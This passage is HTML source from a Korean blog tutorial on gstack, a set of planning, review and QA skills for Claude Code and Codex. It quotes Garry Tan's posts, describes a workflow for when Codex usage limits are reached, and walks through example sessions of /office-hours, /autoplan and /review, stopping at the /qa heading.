&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2035823237729546585&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;GStack is only 10% power of what it's like to actually come and go through a Y Combinator batch.&quot;&lt;/a&gt; &amp;mdash; gstack이 YC 경험의 대체재가 아니라는 직접적인 한계 인정. /office-hours 스킬이 실제 YC 창업자 멘토링의 일부만 재현한다는 솔직한 자기 평가다. 이 발언은 gstack 과대 기대를 교정하는 중요한 맥락이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;&quot;어떤 Python 에이전트에서도 작동한다&quot;&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2033020984093978930&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;It works with any python agent! Neat. Had no idea.&quot;&lt;/a&gt; &amp;mdash; Hacker News 토론에서 Claude Code 전용 여부를 묻는 질문에 Garry Tan이 직접 답변. SKILL.md 표준을 따르는 Python 에이전트라면 모두 호환된다. Claude Code&amp;middot;Codex 외 더 광범위한 에이전트 생태계 지원이 확인된 셈이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;&quot;/autoplan이 권장 방법이다&quot;&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2036638037908836635&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Garry Tan은 이후 /plan-ceo-review &amp;rarr; /plan-eng-review 순차 실행 대신 /autoplan 단일 커맨드를 직접 권장하기 시작했다.&lt;/a&gt; CEO &amp;rarr; Design &amp;rarr; Eng 리뷰를 자동 순차 실행하며, &quot;taste decisions&quot;만 사용자에게 질문하는 방식이다. 처음 gstack을 접한다면 /autoplan이 가장 진입하기 쉬운 시작점이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;병원 병상 옆에서 코딩한 인간적 맥락&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2033729112117018821&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;I am coding a lot, GStack is helping me do it, but also... last week my mom was in the hospital... I was coding by her bedside too.&quot;&lt;/a&gt; &amp;mdash; gstack 공개 직후 Austin 폭설로 발이 묶인 상태, 어머니 입원이라는 개인적 어려움 속에서도 코딩을 이어간 에피소드. 도구 홍보 맥락과 별개로, AI 코딩 도구가 삶의 어떤 상황에서도 생산성을 유지할 수 있게 한다는 현실적 사례다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;이 반응들이 보여주는 것&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;찬반이 갈리는 핵심은 &lt;b&gt;&quot;구조화된 프롬프트가 실제 전문성을 대체할 수 있는가?&quot;&lt;/b&gt;라는 질문이다. 긍정론은 &quot;최소한 일관된 품질 바닥선을 만든다&quot;는 입장이고, 부정론은 &quot;바닥선이 아니라 천장의 환상을 만든다&quot;는 입장이다. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@ml_artist/the-ceo-who-called-ai-god-mode-and-the-study-that-proved-him-right-in-the-wrong-way-576efa2792e5&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sycophancy 연구&lt;/a&gt;가 시사하듯, 같은 도구가 사용자 수준에 따라 다른 효과를 낳는다. 실용적 관점에서는, gstack의 가치는 도구 자체보다 &lt;b&gt;&quot;개발 프로세스를 명시적으로 구조화한다&quot;는 방법론&lt;/b&gt;에 있다. 프롬프트는 포크해서 바꿀 수 있지만, 역할 분리라는 사고 습관은 코드로 옮기기 전에 먼저 체득해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 9: Codex 리밋 후 워크플로우 ===== --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 실전 활용: Codex 주간 리밋 후 gstack + Claude Code 워크플로우&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 현재, OpenAI Codex는 Plus 구독자에게 주간 사용량 제한을 적용하고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;복잡한 프롬프트로 빠르게 사용량을 소진하거나, 주간 리밋에 도달했다는 사례가 커뮤니티에서 자주 보고된다. (참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/discussions/2251&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Usage Limits 토론&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://help.openai.com/en/articles/11369540-using-codex-with-your-chatgpt-plan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 Codex 플랜 안내&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 상황에서 커뮤니티에서 공유되는 워크플로우가 있다. Codex 리밋이 걸렸을 때 &lt;b&gt;Claude Code + gstack&lt;/b&gt;으로 전환하여, 시간은 더 걸리더라도 &lt;b&gt;품질 면에서 만족스러운 결과&lt;/b&gt;를 내는 방식이다. gstack이 Claude Code뿐 아니라 Codex까지 지원하게 되면서, 두 도구를 상호 보완적으로 쓰는 패턴이 자연스럽게 생겼다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6단계 하이브리드 워크플로우&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp5eb1/dJMcad2uvMH/ZG4XSsc8qPfscBpGfDL3mK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp5eb1/dJMcad2uvMH/ZG4XSsc8qPfscBpGfDL3mK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp5eb1/dJMcad2uvMH/ZG4XSsc8qPfscBpGfDL3mK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp5eb1%2FdJMcad2uvMH%2FZG4XSsc8qPfscBpGfDL3mK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1964&quot; height=&quot;1060&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; Codex 주간 리밋 도달 &amp;rarr; Claude Code로 전환&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1.&lt;/b&gt; &lt;code&gt;gstack 설치&lt;/code&gt; &amp;mdash; Claude Code에 gstack 글로벌 설치&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2.&lt;/b&gt; &lt;code&gt;/office-hours&lt;/code&gt; &amp;mdash; gstack의 YC Office Hours 스킬로 구현 계획을 수립. 6가지 강제 질문으로 문제를 재정의하고 디자인 문서를 생성&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3.&lt;/b&gt; &lt;code&gt;/plan-ceo-review&lt;/code&gt; &amp;middot; &lt;code&gt;/plan-eng-review&lt;/code&gt; &amp;middot; &lt;code&gt;/plan-design-review&lt;/code&gt; &amp;mdash; 필요에 따라 CEO, 엔지니어링, 디자인 관점의 리뷰를 실행. 각 관점에서 계획의 빈틈을 찾아낸다&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4.&lt;/b&gt; &lt;b&gt;구현 실행&lt;/b&gt; &amp;mdash; 계획이 충분히 다듬어지면 Claude Code(또는 리밋이 풀린 Codex)로 구현. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://pageai.pro/blog/long-running-ai-coding-agents-ralph-loop&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ralph-loop&lt;/a&gt; 등 자동화 도구를 활용하면 &quot;이 계획 적용해줘&quot; 한마디로 실행 가능&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 5.&lt;/b&gt; &lt;code&gt;/review&lt;/code&gt; &amp;mdash; Staff Engineer 모드로 구현된 코드를 리뷰. CI를 통과하지만 프로덕션에서 문제가 될 수 있는 버그를 탐색&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 6.&lt;/b&gt; &lt;code&gt;/qa&lt;/code&gt; &amp;mdash; diff-aware 테스트로 변경 사항의 영향 범위를 검증. /browse로 실제 화면 확인까지&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;왜 시간이 더 걸려도 품질이 만족스러운가?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심은 &lt;b&gt;&quot;계획에 투자하는 시간&quot;&lt;/b&gt;이다. Codex는 빠르게 코드를 생성하지만, 그 전에 충분한 계획이 없으면 잘못된 방향으로 빠르게 달리는 셈이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 /office-hours &amp;rarr; /plan-*-review 파이프라인은 코딩 전에 충분한 시간을 투자해서 문제를 정확히 정의한다. 이 &quot;느린 시작&quot;이 결과적으로 재작업을 줄이고 전체 품질을 높인다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan 본인도 &quot;The sprint structure is what makes parallelism work &amp;mdash; without process, ten agents equals ten sources of chaos&quot;(스프린트&amp;nbsp;구조(sprint&amp;nbsp;structure)가&amp;nbsp;바로&amp;nbsp;병렬성(parallelism)을&amp;nbsp;제대로&amp;nbsp;작동하게&amp;nbsp;만드는&amp;nbsp;핵심이다&amp;nbsp;&amp;mdash;&amp;nbsp;프로세스(process)가&amp;nbsp;없다면,&amp;nbsp;10개의&amp;nbsp;에이전트는&amp;nbsp;곧&amp;nbsp;10개의&amp;nbsp;혼란의&amp;nbsp;원천이&amp;nbsp;될&amp;nbsp;뿐이다.)라고 설명한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;gstack /codex 스킬: 크로스 모델 검증&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;흥미로운 점은 gstack 자체에 &lt;code&gt;/codex&lt;/code&gt; 스킬이 내장되어 있다는 것이다. OpenAI Codex CLI를 통해 &lt;b&gt;독립적인 Second Opinion&lt;/b&gt;을 받을 수 있다. 3가지 모드를 제공한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Review 모드&lt;/b&gt;: 코드 리뷰 pass/fail 게이트. Claude의 /review와 Codex의 /codex를 모두 실행하면 크로스 모델 분석 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Adversarial 모드&lt;/b&gt;: 적대적 챌린지. Claude가 작성한 코드를 Codex가 공격적으로 검증&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Open Consultation 모드&lt;/b&gt;: 특정 질문에 대해 다른 관점을 얻기 위한 오픈 상담&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 기능 덕분에 Codex 리밋 상황에서도 &quot;계획은 gstack으로, 리밋이 풀리면 /codex로 크로스 체크&quot;하는 전략이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 10: 30분 튜토리얼 ===== --&gt;
&lt;h2 id=&quot;section10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 튜토리얼 : 처음 gstack 써보기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치가 끝났다면 실제로 써보자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아래 튜토리얼은 gstack 공식 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/docs/skills.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs/skills.md&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;의 예시를 기반으로 재구성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: gstack 공식 문서, 2026-03-26 기준)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;시나리오: &quot;일정 관리 앱에 일일 브리핑 기능 추가하기&quot;&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;이 튜토리얼은 기존 프로젝트에 기능을 추가하는 시나리오다. 아직 프로젝트가 없다면, 간단한 테스트 프로젝트(예: &lt;code&gt;npx create-next-app my-test-app&lt;/code&gt;)를 하나 생성한 뒤 진행하면 된다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 Google 캘린더를 관리하다 보면 이벤트 정보가 오래되거나 장소가 틀린 경우가 있고, 미팅 준비 시간이 너무 오래 걸린다. 이 문제를 해결하는 &quot;일일 브리핑 기능&quot;을 추가하려 한다. gstack 전체 워크플로우를 처음부터 끝까지 따라가 본다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: /office-hours &amp;mdash; 문제 찾기 (5~10분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코드 한 줄도 쓰기 전에 &lt;code&gt;/office-hours&lt;/code&gt;로 시작한다. 6가지 강제 질문으로 &quot;일일 브리핑 앱&quot;이라는 생각을 검증한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;erlang&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;일정 관리 앱에 일일 브리핑 기능을 추가하려 한다.
/office-hours&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude의 응답 (gstack README 공식 예시 기반):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;잠깐. &quot;일일 브리핑 앱&quot;이라고 하셨는데, 실제로 묘사하신 것은 &lt;b&gt;개인 비서 AI(personal chief of staff AI)&lt;/b&gt;에 가깝습니다.&lt;br /&gt;&lt;br /&gt;몇 가지 구체적인 고통에 대해 더 파고들겠습니다:&lt;br /&gt;1. 지금은 이 문제를 어떻게 처리하고 있나요?&lt;br /&gt;2. 브리핑이 실패하는 구체적인 순간이 언제인가요?&lt;br /&gt;3. 이 기능 없이 가장 불편했던 실제 사례는?&lt;br /&gt;&lt;br /&gt;[답변 후 AI 분석]&lt;br /&gt;&lt;b&gt;제가 발견한 것:&lt;/b&gt;&lt;br /&gt;- &quot;일일 브리핑&quot;이 아니라 &lt;b&gt;준비 자동화&lt;/b&gt; 문제입니다&lt;br /&gt;- 5가지 기능을 동시에 묘사하셨는데, 내일까지 배포 가능한 최소 버전은: &lt;b&gt;다음 미팅 10분 전 자동 알림&lt;/b&gt;입니다&lt;br /&gt;- [3가지 구현 대안과 예상 작업량 제시]&lt;br /&gt;&lt;br /&gt;&lt;b&gt;권장:&lt;/b&gt; 가장 좁은 버전을 내일 배포하세요.&lt;br /&gt;[디자인 문서를 ~/.gstack/projects/에 저장 완료]&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #28a745; margin: 15px 0;&quot;&gt;&lt;b&gt;무엇이 달라지는가?&lt;/b&gt; 범용 Claude Code에 같은 요청을 했다면 바로 코딩을 시작했을 것이다. /office-hours는 방향 자체를 재정의하고, 이 디자인 문서가 이후 모든 스킬의 입력이 된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: /autoplan &amp;mdash; 기획&amp;middot;디자인&amp;middot;엔지니어링 리뷰 자동 실행 (5분)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2664&quot; data-origin-height=&quot;1474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDkPgl/dJMcaaxZTcV/pwhLjocJ60Srl0oqbp5s9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDkPgl/dJMcaaxZTcV/pwhLjocJ60Srl0oqbp5s9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDkPgl/dJMcaaxZTcV/pwhLjocJ60Srl0oqbp5s9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDkPgl%2FdJMcaaxZTcV%2FpwhLjocJ60Srl0oqbp5s9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2664&quot; height=&quot;1474&quot; data-origin-width=&quot;2664&quot; data-origin-height=&quot;1474&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2036638037908836635&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Garry Tan이 직접 권장하는 시작점&lt;/a&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/plan-ceo-review &amp;rarr; /plan-design-review &amp;rarr; /plan-eng-review&lt;/code&gt;를 수동으로 순차 실행하는 대신, &lt;code&gt;/autoplan&lt;/code&gt; 하나로 자동화한다. 판단이 필요한 &quot;taste decisions&quot;만 사용자에게 질문한다. (출처: Garry Tan X.com)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/autoplan&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 &amp;mdash; Review Readiness Dashboard (gstack docs/skills.md 공식 예시):&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;gherkin&quot; style=&quot;margin: 0; white-space: pre;&quot;&gt;&lt;code&gt;+====================================================================+
|                    REVIEW READINESS DASHBOARD                       |
+====================================================================+
| Review          | Runs | Last Run            | Status    | Required |
|-----------------|------|---------------------|-----------|----------|
| Eng Review      |  1   | 2026-03-16 15:00    | CLEAR     | YES      |
| CEO Review      |  1   | 2026-03-16 14:30    | CLEAR     | no       |
| Design Review   |  0   | &amp;mdash;                   | &amp;mdash;         | no       |
+--------------------------------------------------------------------+
| VERDICT: CLEARED &amp;mdash; Eng Review passed                                |
+====================================================================+&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;Eng Review가 유일한 필수(Required) 게이트다. CLEAR가 되면 구현을 시작할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;계획이 확정됐다. 이제 Claude Code로 실제 구현을 진행한다 (gstack README 예시 기준: 약 8분, 11개 파일, 2,400줄 작성).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: /review &amp;mdash; Staff Engineer 코드 감사 (3분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코딩이 끝났다면 Staff Engineer 모드로 검토한다. CI를 통과하더라도 프로덕션에서 문제가 될 수 있는 버그를 찾는다. N+1 쿼리, 레이스 컨디션, 누락된 타임아웃, 잘못된 재시도 로직 등을 자동으로 탐색한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 (gstack README 공식 예시 기반):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[AUTO-FIXED]&lt;/b&gt; 2건 자동 수정됨&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;bull; auth/session.ts:147 &amp;mdash; 만료 토큰 자동 갱신 누락&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;bull; api/calendar.ts:89 &amp;mdash; API 타임아웃 처리 누락&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[ASK]&lt;/b&gt; 판단이 필요한 항목 1건:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;bull; services/sync.ts:203 &amp;mdash; 두 캘린더 동기화 요청이 동시에 들어올 때 race condition 발생 가능.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;뮤텍스(mutex)를 추가하면 안전하지만 성능이 약간 낮아집니다. 추가할까요? &lt;b&gt;[Y/N]&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #28a745; margin: 15px 0;&quot;&gt;&lt;b&gt;포인트:&lt;/b&gt; [AUTO-FIXED]는 Claude가 판단 없이 고쳐도 되는 명확한 버그다. [ASK]는 트레이드오프가 있어 개발자의 결정이 필요한 항목이다 &amp;mdash; 기술적 가능성을 제시하고 결정은 사람이 한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 4: /qa &amp;mdash; 실제 브라우저 자동화 테스트 (5분)&lt;/h3&gt;
